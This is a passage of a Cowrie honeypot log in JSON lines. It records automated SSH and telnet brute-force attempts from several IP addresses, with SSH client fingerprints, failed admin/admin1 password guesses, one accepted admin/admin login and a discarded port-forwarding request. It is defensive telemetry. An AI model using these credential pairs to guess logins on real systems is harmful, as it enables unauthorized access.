88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:57.728698Z","src_ip":"159.203.92.129","session":"14d9c42f2e97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1234567","message":"login attempt [admin1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:57.741904Z","src_ip":"159.203.92.129","session":"14d9c42f2e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:55:58.783212Z","src_ip":"159.203.92.129","session":"14d9c42f2e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40376,"dst_ip":"10.17.0.5","dst_port":22,"session":"9caca8944d49","protocol":"ssh","message":"New connection: 2.57.121.112:40376 (10.17.0.5:22) [session: 9caca8944d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:17.918348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:17.922253Z","src_ip":"2.57.121.112","session":"9caca8944d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:18.023700Z","src_ip":"2.57.121.112","session":"9caca8944d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"197222","message":"login attempt [admin/197222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:18.501606Z","src_ip":"2.57.121.112","session":"9caca8944d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1931","message":"login attempt [admin/1931] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:19.609043Z","src_ip":"2.57.121.112","session":"9caca8944d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19121996","message":"login attempt [admin/19121996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:20.713448Z","src_ip":"2.57.121.112","session":"9caca8944d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19121973","message":"login attempt [admin/19121973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:21.817630Z","src_ip":"2.57.121.112","session":"9caca8944d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19111996","message":"login attempt [admin/19111996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:22.922976Z","src_ip":"2.57.121.112","session":"9caca8944d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:24.027659Z","src_ip":"2.57.121.112","session":"9caca8944d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58510,"dst_ip":"159.203.135.109","dst_port":22,"session":"994e437fb23e","protocol":"ssh","message":"New connection: 159.203.92.129:58510 (159.203.135.109:22) [session: 994e437fb23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:38.350668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:38.355610Z","src_ip":"159.203.92.129","session":"994e437fb23e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:38.361563Z","src_ip":"159.203.92.129","session":"994e437fb23e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345678","message":"login attempt [admin1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:38.376547Z","src_ip":"159.203.92.129","session":"994e437fb23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:39.385334Z","src_ip":"159.203.92.129","session":"994e437fb23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00176739692688,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:48.948086Z","src_ip":"167.250.105.129","session":"8b677b2886aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0017683506012,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:50.188458Z","src_ip":"167.250.105.129","session":"63c97cc56450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.002188205719,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:54.918332Z","src_ip":"167.250.105.129","session":"c1d898efd2d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00615072250366,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:56:59.653645Z","src_ip":"167.250.105.129","session":"d997d4990ea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00311088562012,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:01.647701Z","src_ip":"167.250.105.129","session":"b2dedd529107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00165343284607,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:01.941244Z","src_ip":"167.250.105.129","session":"2526f2247894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":5116,"dst_ip":"159.203.135.109","dst_port":23,"session":"959545219d5c","protocol":"telnet","message":"New connection: 167.250.105.129:5116 (159.203.135.109:23) [session: 959545219d5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:02.639790Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":11092,"dst_ip":"159.203.135.109","dst_port":23,"session":"108659a66d03","protocol":"telnet","message":"New connection: 167.250.105.129:11092 (159.203.135.109:23) [session: 108659a66d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:03.378136Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34498,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ce445230fef","protocol":"ssh","message":"New connection: 87.251.64.176:34498 (10.17.0.5:22) [session: 3ce445230fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:03.688397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:03.693926Z","src_ip":"87.251.64.176","session":"3ce445230fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:03.794110Z","src_ip":"87.251.64.176","session":"3ce445230fef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:04.085238Z","src_ip":"87.251.64.176","session":"3ce445230fef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:04.183959Z","session":"3ce445230fef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:04.282318Z","src_ip":"87.251.64.176","session":"3ce445230fef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:04.384334Z","src_ip":"87.251.64.176","session":"3ce445230fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":5616,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e846869a4e3","protocol":"telnet","message":"New connection: 167.250.105.129:5616 (159.203.135.109:23) [session: 2e846869a4e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:09.075077Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34816,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad8c4ecb429e","protocol":"ssh","message":"New connection: 159.203.92.129:34816 (159.203.135.109:22) [session: ad8c4ecb429e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:20.243005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:20.247808Z","src_ip":"159.203.92.129","session":"ad8c4ecb429e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:20.253867Z","src_ip":"159.203.92.129","session":"ad8c4ecb429e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456789","message":"login attempt [admin1/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:20.266771Z","src_ip":"159.203.92.129","session":"ad8c4ecb429e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:57:21.277954Z","src_ip":"159.203.92.129","session":"ad8c4ecb429e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53450,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a44e46b41a9","protocol":"ssh","message":"New connection: 159.203.92.129:53450 (159.203.135.109:22) [session: 7a44e46b41a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:01.956772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:01.962458Z","src_ip":"159.203.92.129","session":"7a44e46b41a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:01.973169Z","src_ip":"159.203.92.129","session":"7a44e46b41a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"1234567890","message":"login attempt [admin1/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:01.995389Z","src_ip":"159.203.92.129","session":"7a44e46b41a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:03.006967Z","src_ip":"159.203.92.129","session":"7a44e46b41a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46454,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaf8b4bb6dd6","protocol":"ssh","message":"New connection: 159.203.92.129:46454 (159.203.135.109:22) [session: eaf8b4bb6dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:44.907264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:44.911603Z","src_ip":"159.203.92.129","session":"eaf8b4bb6dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:44.915984Z","src_ip":"159.203.92.129","session":"eaf8b4bb6dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345QWERT","message":"login attempt [admin1/12345QWERT] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:58:44.926517Z","src_ip":"159.203.92.129","session":"eaf8b4bb6dd6","protocol":"ssh"}
